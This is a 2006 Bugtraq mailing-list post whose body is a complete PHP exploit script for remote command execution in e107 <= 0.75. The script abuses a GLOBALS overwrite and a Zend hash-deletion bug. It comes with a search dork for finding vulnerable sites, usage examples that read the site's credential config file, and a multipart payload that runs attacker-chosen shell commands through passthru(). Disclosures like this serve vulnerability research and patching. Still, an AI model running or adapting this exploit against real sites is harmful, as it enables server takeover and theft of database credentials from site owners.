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Message-ID: <20060829080509.21382.qmail@securityfocus.com>
Date: 29 Aug 2006 08:05:09 -0000
From: rgod@...istici.org
To: bugtraq@...urityfocus.com
Subject: e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index
remote commands execution
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands
execution exploit
by rgod rgod@...istici.org
site: http://retrogod.altervista.org
dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files
--------------------------------------------------------------------------------
');
/*
works with register_globals=On
against PHP < 4.4.1, 5 < PHP < 5.0.6
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to e107
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81
--------------------------------------------------------------------------------
');
die;
}
/*
software site: http://e107.org/
vulnerable code in class2.php near lines 29-37:
...
// Destroy! (if we need to)
if($register_globals == true){
while (list($global) = each($GLOBALS)) {
if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {
unset($$global); [**]
}
}
unset($global);
}
...
and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:
...
require_once("../../../../class2.php");
if (!defined('e107_INIT')) { exit; }
unset($tinyMCE_imglib_include); //[*]
// include image library config settings
include 'config.php';
$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);
// if set include file specified in $tinyMCE_imglib_include
if (!empty($tinyMCE_imglib_include))
{
include $tinyMCE_imglib_include; ///[***]
}
...
you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and
[**] (this *should* unsets the hash keys...) by sending a multipart/form-data
request with the "GLOBALS" var
here [***] the code will include the temporary file and execute our shellcode
see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html
and http://www.hardened-php.net/advisory_202005.79.html
for details about this php vulnerabilities
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data="-----------------------------7d529a1d23092a\r\n"; #oh, I want to tell you a story, about a Telecom guy *
$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n"; #that doesn't know *
$data.="Content-Type: image/jpeg;\r\n\r\n"; #the sovereign art of PHP kung-fu, now is desperate and he's seriously *
$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n"; #thinking to kill himself, after he loosed his work *
$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*
$data.="Content-Type: image/jpeg;\r\n\r\n"; //because of some brave guys that rooted his boxes.*
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n"; #Now, guy, don't cry anymore, but... do something *
$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n"; #useful, please open the PHP *
$data.="Content-Type: image/jpeg;\r\n\r\n"; #manual, like a respectful student. And start to... *
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n";# *
$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";# *
$data.="Content-Type: image/jpeg;\r\n\r\n";# *
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a--\r\n";# *
$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";# *
$packet.="Host: ".$host."\r\n";# *
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";# *
$packet.="Content-Length: ".strlen($data)."\r\n";# *
$packet.="Accept: text/plain\r\n";# *
$packet.="Connection: Close\r\n\r\n";# *
$packet.=$data;# *
sendpacketii($packet);# *
if (strstr($html,"my_delim")){# *
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]); #...pray *
}
echo "exploit failed... register_globals=off here or wrong PHP version\n";
?>
original url: http://retrogod.altervista.org/e107_075_xpl.html
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